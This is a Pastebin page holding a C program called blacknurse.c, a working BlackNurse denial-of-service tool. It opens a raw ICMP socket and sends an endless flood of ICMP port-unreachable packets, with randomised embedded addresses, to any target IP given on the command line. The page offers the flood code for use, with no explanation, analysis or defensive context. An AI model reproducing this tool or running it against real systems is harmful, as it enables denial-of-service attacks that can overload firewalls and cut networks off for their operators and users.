Dr-L0v3

blacknurse.c

Nov 14th, 2016
432
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.88 KB | None | 0 0
  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. #include <errno.h>
  5. #include <netdb.h>
  6. #include <poll.h>
  7. #include <stdio.h>
  8. #include <stdint.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <unistd.h>
  12.  
  13. int main(int argc, char *argv[])
  14. {
  15.     uint8_t pkt_template[] = {
  16.         0x03, 0x03, 0x0d, 0x33, 0x00, 0x00, 0x00, 0x00, 0x45, 0x00, 0x00, 0x1c, 0x4a, 0x04, 0x00, 0x00,
  17.         0x40, 0x06, 0x20, 0xc5, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x00, 0x00, 0x00, 0x00,
  18.         0x00, 0x08, 0xef, 0xc1
  19.     };
  20.     uint8_t         *pkt;
  21.     struct addrinfo *ai, hints;
  22.     const char      *host;
  23.     struct pollfd    pfd;
  24.     const size_t     pkt_len = (sizeof pkt_template) / (sizeof pkt_template[0]);
  25.     size_t           i;
  26.     int              gai_err;
  27.     int              kindy;
  28.  
  29.     if (argc < 2) {
  30.         fprintf(stderr, "Usage: blacknurse <target ip>\n");
  31.         exit(1);
  32.     }
  33.     host = argv[1];
  34.     memset(&hints, 0, sizeof hints);
  35.     hints.ai_family = AF_INET;
  36.     if ((gai_err = getaddrinfo(host, NULL, &hints, &ai)) != 0) {
  37.         fprintf(stderr, "Unable to use [%s]: %s\n", host,
  38.                 gai_strerror(gai_err));
  39.         exit(1);
  40.     }
  41.     if ((kindy = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
  42.         perror("socket");
  43.         exit(1);
  44.     }
  45.     pkt = pkt_template;
  46.     pfd.fd = kindy;
  47.     pfd.events = POLLOUT;
  48.     for (;;) {
  49.         for (i = 20; i < 20 + 8 + 4; i++) {
  50.             pkt[i] = (uint8_t) rand();
  51.         }
  52.         if (sendto(kindy, pkt, pkt_len, 0,
  53.                    ai->ai_addr, ai->ai_addrlen) != (ssize_t) pkt_len) {
  54.             if (errno == ENOBUFS) {
  55.                 poll(&pfd, 1, 1000);
  56.                 continue;
  57.             }
  58.             perror("sendto");
  59.             break;
  60.         }
  61.     }
  62.     /* NOTREACHED */
  63.     close(kindy);
  64.     freeaddrinfo(ai);
  65.  
  66.     return 0;
  67. }
Advertisement
Add Comment
Please, Sign In to add comment